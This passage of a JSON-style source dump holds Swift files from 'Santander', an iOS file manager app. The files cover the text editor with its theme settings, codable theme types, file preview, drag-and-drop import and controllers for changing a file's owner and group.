editorBackgroundColor\n            default:\n                break\n            }\n            \n            vc.delegate = self\n            self.present(vc, animated: true)\n            return\n        }\n        \n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            let vc = UIFontPickerViewController()\n            vc.delegate = self\n            self.present(vc, animated: true)\n        default: break\n        }\n    }\n    \n    override func switchOptionIsEnabled(forIndexPath indexPath: IndexPath) -> Bool {\n        switch (indexPath.section, indexPath.row) {\n        case (1, 0):\n            return UserPreferences.showLineCount\n        case (1, 1):\n            return UserPreferences.wrapLines\n        case (1, 2):\n            return UserPreferences.useCharacterPairs\n        default:\n            fatalError()\n        }\n    }\n    \n    override func settingsSwitch(forIndexPath indexPath: IndexPath) -> UISwitch {\n        let s = super.settingsSwitch(forIndexPath: indexPath)\n        \n        let action = UIAction {\n            UserDefaults.standard.set(s.isOn, forKey: self.defaultsKey(forIndexPath: indexPath))\n            switch indexPath.row {\n            case 0:\n                self.delegate?.showLineCountConfigurationDidChange(showLineCount: s.isOn)\n            case 1:\n                self.delegate?.wrapLinesConfigurationDidChange(wrapLines: s.isOn)\n            case 2:\n                self.delegate?.characterPairConfigurationDidChange(useCharacterPairs: s.isOn)\n            default:\n                break\n            }\n        }\n        \n        s.addAction(action, for: .valueChanged)\n        return s\n    }\n    \n    override func defaultsKey(forIndexPath indexPath: IndexPath) -> String {\n        switch (indexPath.section, indexPath.row) {\n        case (1, 0):\n            return \"TextEditorShowLineCount\"\n        case (1, 1):\n            return \"TextEditorWrapLines\"\n        case (1, 2):\n            return \"TextEditorUseCharacterPairs\"\n        default:\n            fatalError()\n        }\n    }\n    \n    @objc\n    func fontStepperValueChanged(sender: UIStepper) {\n        let val = sender.value\n        self.theme.font = CodableFont(self.theme.font.uiFont.withSize(val)) // set the theme font\n        \n        // the index path containing the stepper,\n        // to be reloaded\n        let stepperCellIndexPath = IndexPath(row: 1, section: 0)\n        self.tableView.reloadRows(at: [stepperCellIndexPath], with: .none)\n        delegate?.themeDidChange(to: self.theme)\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return indexPath.section == 2 || (indexPath.section, indexPath.row) == (0, 0)\n    }\n    \n    func setColor(_ color: UIColor, forIndexPath indexPath: IndexPath) {\n        switch (indexPath.section, indexPath.row) {\n        case (2, 0):\n            theme.textColor = CodableColor(color)\n            self.delegate?.themeDidChange(to: theme)\n        case (2, 1):\n            let codableColor = CodableColor(color)\n            theme.textEditorBackgroundColor = codableColor\n            self.delegate?.didChangeEditorBackground(to: codableColor)\n        default:\n            break\n        }\n        \n        tableView.reloadRows(at: [indexPath], with: .none)\n    }\n    \n    override func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) {\n        guard let selectedIndexPath = selectedIndexPath else {\n            return\n        }\n        setColor(viewController.selectedColor, forIndexPath: selectedIndexPath)\n    }\n    \n    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n        switch section {\n        case 0:\n            return \"Fonts\"\n        case 1:\n            return \"Lines\"\n        case 2:\n            return \"Colors\"\n        default:\n            return nil\n        }\n    }\n}\n\nextension TextEditorThemeSettingsViewController: UIFontPickerViewControllerDelegate {\n    func fontPickerViewControllerDidPickFont(_ viewController: UIFontPickerViewController) {\n        viewController.dismiss(animated: true) // Dismiss the vc\n        // Make sure we got the descriptor\n        guard let descriptor = viewController.selectedFontDescriptor else { return }\n        let existingFontSize = self.theme.font.uiFont.pointSize\n        self.theme.font = CodableFont(UIFont(descriptor: descriptor, size: existingFontSize))\n        \n        let fontNameIndexPath = IndexPath(row: 0, section: 0)\n        self.tableView.reloadRows(at: [fontNameIndexPath], with: .none)\n        delegate?.themeDidChange(to: self.theme)\n    }\n}\n                                                    \nprotocol EditorThemeSettingsDelegate: AnyObject {\n    func themeDidChange(to newTheme: CodableTextEditorTheme)\n    func wrapLinesConfigurationDidChange(wrapLines: Bool)\n    func showLineCountConfigurationDidChange(showLineCount: Bool)\n    func characterPairConfigurationDidChange(useCharacterPairs: Bool)\n    func didChangeEditorBackground(to color: CodableColor)\n}\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/TextFileEditorViewController.swift",
    "content": "//\n//  TextFileEditorViewController.swift\n//  Santander\n//\n//  Created by Serena on 02/07/2022\n//\n\n\nimport UIKit\n// Unfortunately, using a dep here for the text editor\n// but honestly, it just makes everything easier\n// I'm not integrating Syntax highlighting myself.\nimport Runestone\n\nclass TextFileEditorViewController: UIViewController, TextViewDelegate, EditorThemeSettingsDelegate {\n    var fileURL: URL\n    var originalContents: String\n    \n    var textView: TextView = TextView()\n    var keyboardToolsView: KeyboardToolsView!\n    var theme: CodableTextEditorTheme = UserPreferences.textEditorTheme {\n        didSet {\n            UserPreferences.textEditorTheme = theme\n            DispatchQueue.global(qos: .userInitiated).sync {\n                let state = TextViewState(text: textView.text, theme: theme.theme)\n                DispatchQueue.main.async {\n                    self.textView.setState(state)\n                }\n            }\n        }\n    }\n    \n    init(fileURL: URL, contents: String) {\n        self.fileURL = fileURL\n        self.originalContents = contents\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    convenience init(fileURL: URL) throws {\n        self.init(fileURL: fileURL, contents: try String(contentsOf: fileURL))\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    lazy var themeController: TextEditorThemeSettingsViewController = {\n        let controller = TextEditorThemeSettingsViewController(style: .insetGrouped, theme: self.theme)\n        controller.delegate = self\n        return controller\n    }()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.title = fileURL.lastPathComponent\n        textView.showLineNumbers = UserPreferences.showLineCount\n        textView.isLineWrappingEnabled = UserPreferences.wrapLines\n        textView.setState(TextViewState(text: originalContents, theme: theme.theme))\n        \n        textView.autocorrectionType = .no\n        textView.autocapitalizationType = .none\n        if UserPreferences.useCharacterPairs {\n            textView.characterPairs = AnyCharacterPair.all()\n        }\n        \n        textView.isEditable = /*FileManager.default.isWritableFile(atPath: fileURL.path)*/ true\n        textView.editorDelegate = self\n        textView.backgroundColor = theme.textEditorBackgroundColor?.uiColor ?? .tertiarySystemBackground\n        self.keyboardToolsView = KeyboardToolsView(textView: textView)\n        textView.inputAccessoryView = keyboardToolsView\n        \n        let saveBarButton = UIBarButtonItem(barButtonSystemItem: .save, target: self, action: #selector(saveToFile))\n        saveBarButton.isEnabled = !textIsSameAsOriginal\n        navigationItem.rightBarButtonItems = [saveBarButton, UIBarButtonItem(image: UIImage(systemName: \"ellipsis.circle\"), menu: makeRightBarMenuItemsMenu())]\n        \n        navigationItem.leftBarButtonItem = UIBarButtonItem(barButtonSystemItem: .cancel, target: self, action: #selector(cancel))\n        \n#if compiler(>=5.7)\n        if #available(iOS 16.0, *) {\n            navigationItem.style = .editor\n            self.navigationItem.renameDelegate = self\n            self.navigationItem.documentProperties = UIDocumentProperties(url: fileURL)\n        }\n#endif\n        \n        textView.keyboardDismissMode = .onDrag\n        textView.translatesAutoresizingMaskIntoConstraints = false\n        \n        view.addSubview(textView)\n        \n        configureNavigationBarToNormal()\n  \n        textView.constraintCompletely(to: view)\n        \n        if UIDevice.isiPad {\n            let navVC = UINavigationController(rootViewController: themeController)\n            splitViewController?.setViewController(navVC, for: .primary)\n            splitViewController?.preferredDisplayMode = .oneBesideSecondary\n        }\n        \n        let notificationCenter = NotificationCenter.default\n        notificationCenter.addObserver(self, selector: #selector(adjustForKeyboard), name: UIResponder.keyboardWillHideNotification, object: nil)\n        notificationCenter.addObserver(self, selector: #selector(adjustForKeyboard), name: UIResponder.keyboardWillChangeFrameNotification, object: nil)\n    }\n    \n    // https://www.hackingwithswift.com/example-code/uikit/how-to-adjust-a-uiscrollview-to-fit-the-keyboard\n    @objc func adjustForKeyboard(notification: Notification) {\n        guard let keyboardValue = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? NSValue else {\n            return\n        }\n        \n        let keyboardScreenEndFrame = keyboardValue.cgRectValue\n        let keyboardViewEndFrame = view.convert(keyboardScreenEndFrame, from: view.window)\n        \n        if notification.name == UIResponder.keyboardWillHideNotification {\n            textView.contentInset = .zero\n        } else {\n            textView.contentInset = UIEdgeInsets(top: 0, left: 0,\n                                                 bottom: keyboardViewEndFrame.height - view.safeAreaInsets.bottom,\n                                                 right: 0)\n        }\n        \n        textView.scrollIndicatorInsets = textView.contentInset\n        let selectedRange = textView.selectedRange\n        textView.scrollRangeToVisible(selectedRange)\n    }\n    \n    override var keyCommands: [UIKeyCommand]? {\n        return [\n            UIKeyCommand(title: \"Zoom in\", action: #selector(zoomInOrOut(sender:)), input: \"+\", modifierFlags: .command),\n            UIKeyCommand(title: \"Zoom out\", action: #selector(zoomInOrOut(sender:)), input: \"-\", modifierFlags: .command)\n        ]\n    }\n    \n    @objc func zoomInOrOut(sender: UIKeyCommand) {\n        let existingFont = theme.font.uiFont\n        self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize))\n        \n        switch sender.title {\n        case \"Zoom in\":\n            self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize + 1))\n        case \"Zoom out\":\n            self.theme.font = CodableFont(existingFont.withSize(existingFont.pointSize - 1))\n        default:\n            break\n        }\n        \n        themeController.theme = self.theme\n        // the font index path\n        themeController.tableView.reloadRows(at: [IndexPath(row: 1, section: 0)], with: .none)\n    }\n    \n    func makeRightBarMenuItemsMenu() -> UIMenu {\n        let settingsAction = UIAction(title: \"Settings\", image: UIImage(systemName: \"gear\")) { _ in\n            self.presentTextEditorSettings()\n        }\n        \n        let goToLineAction = UIAction(title: \"Go to line\") { _ in\n            self.showGoToLine()\n        }\n        \n        return UIMenu(image: UIImage(systemName: \"ellipsis.circle\"), children: [settingsAction, goToLineAction])\n    }\n    \n    func showGoToLine() {\n        let alert = UIAlertController(title: \"Go to line\", message: nil, preferredStyle: .alert)\n        alert.addTextField { textField in\n            textField.keyboardType = .numberPad\n        }\n        \n        let goToLineAction = UIAlertAction(title: \"Go to line\", style: .default) { _ in\n            guard let text = alert.textFields?.first?.text, let line = Int(text) else {\n                print(\"\\(#function) should not have reached here!\")\n                return\n            }\n            \n            \n            self.textView.goToLine(line - 1)\n        }\n        \n        alert.addAction(.cancel())\n        alert.addAction(goToLineAction)\n        self.present(alert, animated: true)\n    }\n    \n    func textViewDidChange(_ textView: TextView) {\n        self.navigationItem.rightBarButtonItem?.isEnabled = !textIsSameAsOriginal\n    }\n    \n    @objc\n    func saveToFile() {\n        let newContentsToSave = textView.text\n        \n        do {\n            try FSOperation.perform(.writeString(url: fileURL, string: newContentsToSave), rootHelperConf: RootConf.shared)\n            self.dismiss(animated: true)\n        } catch {\n            self.errorAlert(error, title: \"Unable to save to file\")\n        }\n    }\n    \n    @objc\n    func cancel() {\n        if !textIsSameAsOriginal {\n            let alert = UIAlertController(title: \"Unsaved changes\", message: \"the file \\\"\\(fileURL.lastPathComponent)\\\" has some unsaved changes, are you sure you want to close the file?\", preferredStyle: .alert)\n            let saveAction = UIAlertAction(title: \"Save\", style: .default) { _ in\n                self.saveToFile()\n            }\n            let dontSaveAction = UIAlertAction(title: \"Don't save\", style: .destructive) { _ in\n                self.dismiss(animated: true)\n            }\n            alert.addAction(dontSaveAction)\n            alert.addAction(saveAction)\n            self.present(alert, animated: true)\n        } else {\n            self.dismiss(animated: true)\n        }\n    }\n    \n    /// Whether or not the inputted text in the textView\n    /// is the same as the original text\n    var textIsSameAsOriginal: Bool {\n        let text = textView.text\n        return text == originalContents || text == originalContents.trimmingCharacters(in: .whitespacesAndNewlines)\n    }\n    \n    @objc func presentTextEditorSettings() {\n        if UIDevice.isiPad {\n            splitViewController?.show(.primary)\n        } else {\n            let navVC = UINavigationController(rootViewController: themeController)\n            \n            if #available(iOS 15.0, *) {\n                navVC.sheetPresentationController?.detents = [.medium(), .large()]\n            }\n            self.present(navVC, animated: true)\n        }\n    }\n    \n    func themeDidChange(to newTheme: CodableTextEditorTheme) {\n        self.theme = newTheme\n    }\n    \n    func wrapLinesConfigurationDidChange(wrapLines: Bool) {\n        self.textView.isLineWrappingEnabled = wrapLines\n    }\n    \n    func showLineCountConfigurationDidChange(showLineCount: Bool) {\n        self.textView.showLineNumbers = showLineCount\n    }\n    \n    func didChangeEditorBackground(to color: CodableColor) {\n        self.textView.backgroundColor = color.uiColor\n        self.theme.textEditorBackgroundColor = color\n    }\n    \n    func characterPairConfigurationDidChange(useCharacterPairs: Bool) {\n        textView.characterPairs = useCharacterPairs ? AnyCharacterPair.all() : []\n    }\n}\n\n#if compiler(>=5.7)\nextension TextFileEditorViewController: UINavigationItemRenameDelegate {\n    func navigationItem(_: UINavigationItem, didEndRenamingWith title: String) {\n        let newURL = self.fileURL.deletingLastPathComponent().appendingPathComponent(title)\n        \n        // make sure the new filename isn't the same as the current\n        guard newURL != self.fileURL else {\n            return\n        }\n        \n        do {\n            try FSOperation.perform(.moveItem(items: [fileURL], resultPath: newURL), rootHelperConf: RootConf.shared)\n            self.fileURL = newURL\n        } catch {\n            self.errorAlert(error, title: \"Uname to rename \\(fileURL.lastPathComponent)\")\n            // renaming automatically changes title\n            // so we need to change back the title to the original\n            // in case of a failure\n            self.title = fileURL.lastPathComponent\n        }\n    }\n}\n#endif\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/Themes.swift",
    "content": "//\n//  Themes.swift\n//  Santander\n//\n//  Created by Serena on 03/07/2022\n//\n\t\n\nimport UIKit\nimport Runestone\n\n/// A Generic theme instance.\nclass AnyTheme: Theme {\n    public init(textColor: UIColor, font: UIFont, gutterBackgroundColor: UIColor, gutterHairlineColor: UIColor, lineNumberColor: UIColor, lineNumberFont: UIFont, selectedLineBackgroundColor: UIColor, selectedLinesLineNumberColor: UIColor, selectedLinesGutterBackgroundColor: UIColor, invisibleCharactersColor: UIColor, pageGuideBackgroundColor: UIColor, pageGuideHairlineColor: UIColor, markedTextBackgroundColor: UIColor, markedTextBackgroundBorderColor: UIColor) {\n        self.textColor = textColor\n        self.font = font\n        self.gutterBackgroundColor = gutterBackgroundColor\n        self.gutterHairlineColor = gutterHairlineColor\n        self.lineNumberColor = lineNumberColor\n        self.lineNumberFont = lineNumberFont\n        self.selectedLineBackgroundColor = selectedLineBackgroundColor\n        self.selectedLinesLineNumberColor = selectedLinesLineNumberColor\n        self.selectedLinesGutterBackgroundColor = selectedLinesGutterBackgroundColor\n        self.invisibleCharactersColor = invisibleCharactersColor\n        self.pageGuideBackgroundColor = pageGuideBackgroundColor\n        self.pageGuideHairlineColor = pageGuideHairlineColor\n        self.markedTextBackgroundColor = markedTextBackgroundColor\n        self.markedTextBackgroundBorderColor = markedTextBackgroundBorderColor\n    }\n    \n    var textColor: UIColor\n    var font: UIFont\n\n    let gutterBackgroundColor: UIColor\n    let gutterHairlineColor: UIColor\n\n    let lineNumberColor: UIColor\n    let lineNumberFont: UIFont\n\n    let selectedLineBackgroundColor: UIColor\n    let selectedLinesLineNumberColor: UIColor\n    let selectedLinesGutterBackgroundColor: UIColor\n\n    let invisibleCharactersColor: UIColor\n\n    let pageGuideBackgroundColor: UIColor\n    let pageGuideHairlineColor: UIColor\n\n    let markedTextBackgroundColor: UIColor\n    let markedTextBackgroundBorderColor: UIColor\n    \n    func textColor(for rawHighlightName: String) -> UIColor? {\n        return nil\n    }\n\n    func font(for rawHighlightName: String) -> UIFont? {\n        nil\n    }\n}\n\n/// Represents a color, representable by a UIColor, which is Codable\nstruct CodableColor: Codable {\n    let red: CGFloat\n    let green: CGFloat\n    let blue: CGFloat\n    let alpha: CGFloat\n    \n    var uiColor: UIColor {\n        return UIColor(red: self.red, green: self.green, blue: self.blue, alpha: self.alpha)\n    }\n    \n    init(_ color: UIColor) {\n        // We have to provide pointers in the function to get the colors from\n        var _red: CGFloat = 0, _green: CGFloat = 0, _blue: CGFloat = 0, _alpha: CGFloat = 0\n        \n        color.getRed(&_red, green: &_green, blue: &_blue, alpha: &_alpha)\n        \n        self.red = _red\n        self.blue = _blue\n        self.green = _green\n        self.alpha = _alpha\n    }\n}\n\nstruct CodableFont: Codable {\n    var name: String\n    var size: CGFloat\n    \n    var uiFont: UIFont {\n        return UIFont(name: name, size: size)!\n    }\n    \n    init(_ font: UIFont) {\n        self.name = font.fontName\n        self.size = font.pointSize\n    }\n}\n\n/// Represents a theme usable with Runestone, which is Codable.\nstruct CodableTextEditorTheme: Codable {\n    var textColor: CodableColor? = nil\n    var font = CodableFont(UIFont(name: \"Menlo-Regular\", size: 16)!)\n\n    var gutterBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground)\n    var gutterHairlineColor: CodableColor = CodableColor(.opaqueSeparator)\n\n    var lineNumberColor: CodableColor = CodableColor(.secondaryLabel)\n    var lineNumberFont = CodableFont(UIFont(name: \"Menlo-Regular\", size: 14)!)\n\n    var selectedLineBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground)\n    var selectedLinesLineNumberColor: CodableColor = CodableColor(.label)\n    var selectedLinesGutterBackgroundColor: CodableColor = CodableColor(UIColor.opaqueSeparator.withAlphaComponent(0.4))\n\n    var invisibleCharactersColor: CodableColor = CodableColor(.tertiaryLabel)\n\n    var pageGuideBackgroundColor: CodableColor = CodableColor(.secondarySystemBackground)\n    var pageGuideHairlineColor: CodableColor = CodableColor(.opaqueSeparator)\n\n    var markedTextBackgroundColor: CodableColor = CodableColor(.systemFill)\n    var markedTextBackgroundBorderColor: CodableColor = CodableColor(.clear)\n    \n    var textEditorBackgroundColor: CodableColor? = nil\n    var theme: AnyTheme {\n        AnyTheme(\n            textColor: textColor?.uiColor ?? .label,\n            font: font.uiFont,\n            gutterBackgroundColor: gutterBackgroundColor.uiColor,\n            gutterHairlineColor: gutterHairlineColor.uiColor,\n            lineNumberColor: lineNumberColor.uiColor,\n            lineNumberFont: lineNumberFont.uiFont,\n            selectedLineBackgroundColor: selectedLineBackgroundColor.uiColor,\n            selectedLinesLineNumberColor: selectedLinesLineNumberColor.uiColor,\n            selectedLinesGutterBackgroundColor: selectedLinesGutterBackgroundColor.uiColor,\n            invisibleCharactersColor: invisibleCharactersColor.uiColor,\n            pageGuideBackgroundColor: pageGuideBackgroundColor.uiColor,\n            pageGuideHairlineColor: pageGuideHairlineColor.uiColor,\n            markedTextBackgroundColor: markedTextBackgroundColor.uiColor,\n            markedTextBackgroundBorderColor: markedTextBackgroundBorderColor.uiColor\n        )\n    }\n}\n\n/// Represents a generic CharacterPair\nstruct AnyCharacterPair: CharacterPair {\n    var leading: String\n    var trailing: String\n    \n    static func all() -> [AnyCharacterPair] {\n        return [\n            AnyCharacterPair(leading: \"{\", trailing: \"}\"),\n            AnyCharacterPair(leading: \"(\", trailing: \")\"),\n            AnyCharacterPair(leading: \"[\", trailing: \"]\"),\n            AnyCharacterPair(leading: \"<\", trailing: \">\")\n        ]\n    }\n}\n"
  },
  {
    "path": "Santander/UI/FilePreviewDataSource.swift",
    "content": "//\n//  FilePreviewDataSource.swift\n//  Santander\n//\n//  Created by Serena on 23/06/2022\n//\n\t\n\n\nimport QuickLook\n\nclass FilePreviewDataSource: QLPreviewControllerDataSource {\n    func numberOfPreviewItems(in controller: QLPreviewController) -> Int {\n        return 1\n    }\n    \n    func previewController(_ controller: QLPreviewController, previewItemAt index: Int) -> QLPreviewItem {\n        return fileURL as QLPreviewItem\n    }\n    \n    let fileURL: URL\n    \n    init(fileURL: URL) {\n        self.fileURL = fileURL\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/DragAndDrop.swift",
    "content": "//\n//  DragAndDrop.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport UniformTypeIdentifiers\n\nextension PathListViewController: UITableViewDropDelegate, UITableViewDragDelegate {\n    \n    func tableView(_ tableView: UITableView, performDropWith coordinator: UITableViewDropCoordinator) {\n        for item in coordinator.items {\n            item.dragItem.itemProvider.loadFileRepresentation(forTypeIdentifier: \"public.item\") { url, err in\n                guard let url = url, err == nil else {\n                    DispatchQueue.main.async {\n                        self.errorAlert(\"Error: \\(err?.localizedDescription ?? \"Unknown\")\", title: \"Failed to import file\")\n                    }\n                    return\n                }\n                \n                // copying to the current path\n                guard let currentPath = self.currentPath else {\n                    return\n                }\n                \n                do {\n                    try FSOperation.perform(.moveItem(items: [url], resultPath: currentPath.url), rootHelperConf: RootConf.shared)\n                } catch {\n                    DispatchQueue.main.async {\n                        self.errorAlert(\"Error: \\(error.localizedDescription)\", title: \"Failed to copy item\")\n                    }\n                }\n            }\n        }\n    }\n    \n    func tableView(_ tableView: UITableView, canHandle session: UIDropSession) -> Bool {\n        return currentPath != nil\n    }\n    \n    func tableView(_ tableView: UITableView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {\n        // if displayingSearchSuggestions is true, that means a search suggestion is being dragged\n        guard !displayingSearchSuggestions else {\n            return []\n        }\n        \n        let selectedItem = path(forIndexPath: indexPath)\n        let itemProvider = NSItemProvider()\n        \n        let typeID = selectedItem.contentType?.identifier ?? UTType.content.identifier\n        \n        itemProvider.registerFileRepresentation(\n            forTypeIdentifier: typeID,\n            visibility: .all) { completion in\n                completion(selectedItem.url, true, nil)\n                return nil\n            }\n        \n        return [\n            UIDragItem(itemProvider: itemProvider)\n        ]\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/PathGroupOwnerViewController.swift",
    "content": "//\n//  PathGroupOwnerViewController.swift\n//  Santander\n//\n//  Created by Serena on 07/08/2022.\n//\n\nimport UIKit\n\n/// A ViewController allowing you to set either the owner or the group of a path\nclass PathGroupOwnerViewController: UITableViewController {\n    var type: ItemType\n    var sourceVC: PathPermissionsViewController?\n    let fileURL: URL\n    \n    enum Section {\n        case main\n    }\n    \n    var allData: [ItemType] = []\n    \n    typealias DataSource = UITableViewDiffableDataSource<Section, ItemType>\n    lazy var dataSource = DataSource(tableView: tableView) { [self] tableView, indexPath, itemIdentifier in\n        let item = itemIdentifier.name\n        \n        let cell = UITableViewCell()\n        var conf = cell.defaultContentConfiguration()\n        \n        conf.text = item\n        cell.contentConfiguration = conf\n        if type.name == item {\n            cell.accessoryType = .checkmark\n        }\n        return cell\n    }\n    \n    func typeName(capitalizingFirstLetter: Bool) -> String {\n        switch type {\n        case .group(_):\n            return capitalizingFirstLetter ? \"Group\" : \"group\"\n        case .owner(_):\n            return capitalizingFirstLetter ? \"Owner\" : \"owner\"\n        }\n    }\n    \n    init(style: UITableView.Style, type: ItemType, sourceVC: PathPermissionsViewController, fileURL: URL) {\n        self.type = type\n        self.sourceVC = sourceVC\n        self.fileURL = fileURL\n        \n        super.init(style: style)\n    }\n    \n    override func viewDidLoad() {\n        self.title = typeName(capitalizingFirstLetter: true)\n        let searchController = UISearchController(searchResultsController: nil)\n        searchController.searchBar.delegate = self\n        navigationItem.hidesSearchBarWhenScrolling = false\n        navigationItem.searchController = searchController\n        \n        // load data\n        Task { [self] in\n            do {\n                allData = try type.getAll(forURL: fileURL)\n                applyItems(allData, animatingDifference: true)\n            } catch {\n                showError(error)\n                searchController.searchBar.isUserInteractionEnabled = false\n            }\n        }\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        let item = dataSource.itemIdentifier(for: indexPath)!.name\n        var newType: ItemType\n        switch type {\n        case .owner(_):\n            newType = .owner(ownerName: item)\n        case .group(_):\n            newType = .group(groupName: item)\n        }\n        \n        do {\n            try newType.set(forURL: fileURL)\n            self.type = newType\n            \n            // Update the parent permissions vc\n            switch newType {\n            case .owner(let ownerName):\n                sourceVC?.permissions.ownerName = ownerName\n            case .group(let groupName):\n                sourceVC?.permissions.groupOwnerName = groupName\n            }\n            sourceVC?.tableView.reloadData()\n        } catch {\n            self.errorAlert(error, title: \"Unable to change \\(typeName(capitalizingFirstLetter: false)) of \\(fileURL.lastPathComponent)\")\n        }\n        \n        tableView.deselectRow(at: indexPath, animated: true)\n        var snapshot = dataSource.snapshot()\n        \n        snapshot.reloadItems(snapshot.itemIdentifiers)\n        dataSource.apply(snapshot, animatingDifferences: false)\n    }\n    \n    func showError(_ error: Error) {\n        let errorLabel = UILabel()\n        errorLabel.text = error.localizedDescription\n        errorLabel.textAlignment = .center\n        errorLabel.numberOfLines = 0\n        errorLabel.lineBreakMode = .byWordWrapping\n        errorLabel.textColor = .systemGray\n        \n        errorLabel.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(errorLabel)\n        let guide = view.layoutMarginsGuide\n        NSLayoutConstraint.activate([\n            errorLabel.widthAnchor.constraint(equalTo: guide.widthAnchor),\n            errorLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor),\n            errorLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor),\n        ])\n    }\n    \n    /// The list of items to display,\n    /// either being groups or owners\n    enum ItemType: Hashable, CustomStringConvertible {\n        case group(groupName: String), owner(ownerName: String)\n        \n        /// Returns a string array of either types\n        func getAll(forURL url: URL) throws -> [ItemType] {\n            switch self {\n            case .owner:\n                var arr: [String] = []\n                while let pwent = getpwent() {\n                    arr.append(String(cString: pwent.pointee.pw_name))\n                }\n                endpwent()\n                \n                return arr.map(ItemType.owner(ownerName:))\n            case .group:\n                guard let owner = passwd(fileURLOwner: url) else {\n                    throw Errors.unableToGetGroups(description: \"Failed to fetch groups, cause: owner is unknown\")\n                }\n                \n                var groups: Int32 = 0\n                var count: Int32 = Int32(sysconf(_SC_NGROUPS_MAX))\n                getgrouplist(owner.pw_name, Int32(owner.pw_gid), &groups, &count)\n                let converted = convert(length: Int(count), data: &groups).compactMap { gid -> String? in\n                    guard let gr = getgrgid(gid_t(gid))?.pointee.gr_name else {\n                        return nil\n                    }\n                    \n                    return String(cString: gr)\n                }\n                \n                return converted.map(ItemType.group(groupName:))\n            }\n        }\n        \n        enum Errors: Error, LocalizedError {\n            case unableToGetGroups(description: String)\n            \n            var errorDescription: String? {\n                switch self {\n                case .unableToGetGroups(let description):\n                    return description\n                }\n            }\n        }\n        \n        var description: String {\n            switch self {\n            case .owner(let ownerName):\n                return \"Owner (owner name: \\(ownerName))\"\n            case .group(let groupName):\n                return \"Group (group name: \\(groupName))\"\n            }\n        }\n        \n        var name: String {\n            switch self {\n            case .owner(let ownerName):\n                return ownerName\n            case .group(let groupName):\n                return groupName\n            }\n        }\n        \n        /// Sets the type with the name\n        /// for the given path\n        func set(forURL url: URL) throws {\n            switch self {\n            case .owner(let ownerName):\n                try FSOperation.perform(.setOwner(url: url, newOwner: ownerName), rootHelperConf: RootConf.shared)\n            case .group(let groupName):\n                try FSOperation.perform(.setGroup(url: url, newGroup: groupName), rootHelperConf: RootConf.shared)\n            }\n        }\n        \n        /// Converts a pointer to an Array\n        private func convert<T>(length: Int, data: UnsafePointer<T>) -> [T] {\n            let buffer = data.withMemoryRebound(to: T.self, capacity: length) {\n                UnsafeBufferPointer(start: $0, count: length)\n            }\n            \n            return Array(buffer)\n        }\n    }\n    \n    func applyItems(_ items: [ItemType], animatingDifference: Bool = false) {\n        var snapshot = NSDiffableDataSourceSnapshot<Section, ItemType>()\n        snapshot.appendSections([.main])\n        snapshot.appendItems(items, toSection: .main)\n        dataSource.apply(snapshot, animatingDifferences: animatingDifference)\n    }\n}\n\nextension PathGroupOwnerViewController: UISearchBarDelegate {\n    func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {\n        if searchText.isEmpty {\n            applyItems(allData, animatingDifference: true)\n            return\n        }\n        \n        let filtered = allData.filter { item in\n            item.name.localizedCaseInsensitiveContains(searchText)\n        }\n        \n        applyItems(filtered, animatingDifference: true)\n    }\n    \n    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n        applyItems(allData, animatingDifference: true)\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/PathInformationTableViewController.swift",
    "content": "//\n//  PathInformationTableViewController.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\t\n\nimport UIKit\nimport LaunchServicesBridge\n\n/// A Table View Controller displaying information for a given path\nclass PathInformationTableViewController: UITableViewController {\n    let path: Path\n    let metadata: PathMetadata\n    \n    var showByteCount: Bool = false\n    var showDisplayName: Bool = false\n    var showRealPath: Bool = false\n    var showAppName: Bool\n    var appName: String?\n    \n    var sizeState: LoadingValueState<Int> = .loading\n    \n    init(style: UITableView.Style, path: Path) {\n        self.path = path\n        self.metadata = PathMetadata(filePath: path)\n        appName = path.applicationItem?.localizedName()\n        \n        showAppName = (appName != nil)\n        super.init(style: style)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.title = self.path.lastPathComponent\n        DispatchQueue.global(qos: .userInteractive).async { [self] in\n            var path = path\n            if let size = path.size {\n                sizeState = .value(size)\n            } else {\n                sizeState = .unavailable\n            }\n            \n            \n            DispatchQueue.main.async {\n                self.tableView.reloadRows(at: [IndexPath(row: 2, section: 0)], with: .fade)\n            }\n        }\n        \n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 4\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0:\n            return self.path.isDirectory ? 4 : 3\n        case 1:\n            return metadata.contentType?.preferredMIMEType != nil ? 2 : 1\n        case 2:\n            return 4\n        case 3:\n            return 1\n        default:\n            fatalError(\"Impossible to be here\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            if appName != nil {\n                showAppName.toggle()\n            } else 